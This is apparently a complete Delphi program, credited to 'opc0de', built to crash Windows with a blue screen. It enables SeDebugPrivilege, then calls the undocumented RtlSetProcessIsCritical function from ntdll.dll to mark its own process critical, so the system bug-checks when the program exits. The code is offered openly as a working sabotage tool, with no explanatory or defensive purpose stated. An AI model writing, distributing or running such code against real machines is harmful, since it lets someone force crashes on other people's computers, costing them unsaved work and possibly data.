Blue Screen Of Death by opc0de

program reboot;

//by opc0de 

{$APPTYPE CONSOLE}

uses

  SysUtils,

  Windows;

function RtlSetProcessIsCritical(unu:DWORD;proc:POinter;doi:DWORD):LongInt;stdcall; external 'ntdll.dll';

 const

  SE_DEBUG_NAME = 'SeDebugPrivilege';

  function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean;

var

  hToken: THandle;

  TokenPriv: TOKEN_PRIVILEGES;

  PrevTokenPriv: TOKEN_PRIVILEGES;

  ReturnLength: Cardinal;

begin

  Result := False;

  if OpenProcessToken(GetCurrentProcess(),

    TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then

  begin

    try

      if LookupPrivilegeValue(nil, PChar(sPrivilege),

        TokenPriv.Privileges[0].Luid) then

      begin

        TokenPriv.PrivilegeCount := 1; 

        case bEnabled of

          True: TokenPriv.Privileges[0].Attributes  := SE_PRIVILEGE_ENABLED;

          False: TokenPriv.Privileges[0].Attributes := 0;

        end;

        ReturnLength := 0;

        PrevTokenPriv := TokenPriv;

        AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),

          PrevTokenPriv, ReturnLength);

      end;

    finally

      CloseHandle(hToken);

    end;

  end;

  end;

begin

NTSetPrivilege(SE_DEBUG_NAME,TRUE);

RtlSetProcessIsCritical(1,nil,0);

end.